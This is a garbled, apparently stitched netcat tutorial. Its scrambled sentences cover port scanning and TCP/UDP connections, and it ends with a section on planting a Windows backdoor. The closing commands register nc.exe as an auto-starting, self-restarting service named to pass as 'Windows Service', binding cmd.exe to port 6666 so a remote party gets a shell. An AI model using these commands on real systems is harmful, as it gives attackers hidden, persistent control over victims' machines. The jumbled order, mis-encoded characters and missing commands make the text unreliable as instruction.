

We do this by specifying a range of ports to scan, as we did above, along with the -z option to perform a scan instead of attempting to initiate a connection.įor instance, we can scan all ports up to 1000 by issuing this command:Īlong with the -z option, we have also specified the -v option to tell netcat to provide more verbose information. One of the most common uses for netcat is as a port scanner.Īlthough netcat is probably not the most sophisticated tool for the job (nmap is a better choice in most cases), it can perform simple port scans to easily identify open ports. On most systems, we can use either netcat or nc interchangeably. This is generally used with some additional flags. You can specify a range of ports by placing a dash between the first and last:


If you would like to send a UDP packet instead of initiating a TCP connection, you can use the -u option: Keep in mind that your connection is entirely unencrypted. This functions similarly to the old Linux telnet command. This will attempt to initiate a TCP connection to the defined host on the port number specified. General Syntaxīy default, netcat operates by initiating a TCP connection to a remote host. Other versions may operate differently or provide other options. Ubuntu ships with the BSD variant of netcat, and this is what we will be using in this guide. Netcat should be available on almost any modern Linux distribution. This versatile command can assist you in monitoring, testing, and sending data across network connections. In this guide, we will discuss how to use the netcat utility. Often, system administrators can do much of their work using the built-in tools without having to install additional software. Linux is known for having a great number of mature, useful command line utilities available out of the box in most distributions. * the -e option is referred to as the execute option because it allows you to bind an executable to a port that will execute with the victim connects to the named listening port * the options –dlp mean (d) detach from console which allows netcat to rnn without being displaying in the tasklist, (l) is a type of listen mode that allows netcat to listen as a server, and (p) allows you to specify the port to listen on

exe is the service that is actually running under the name systemshell * systemshell is the new service to be created * create is the command entered to actually create the service * sc is a command used by the services controller tool that is used to manage and control services C:>sc create backdoor binpath= “cmd /C C:\nc.exe -dLp 6666 -e cmd.exe” type= own type= interact start= auto DisplayName= “Windows Service”Ĭ:>sc failure backdoor reset= 86400 actions= restart/1/restart/10/run/30000 command= “cmd /C C:nc.exe -dLp 6666 -e cmd.exe”
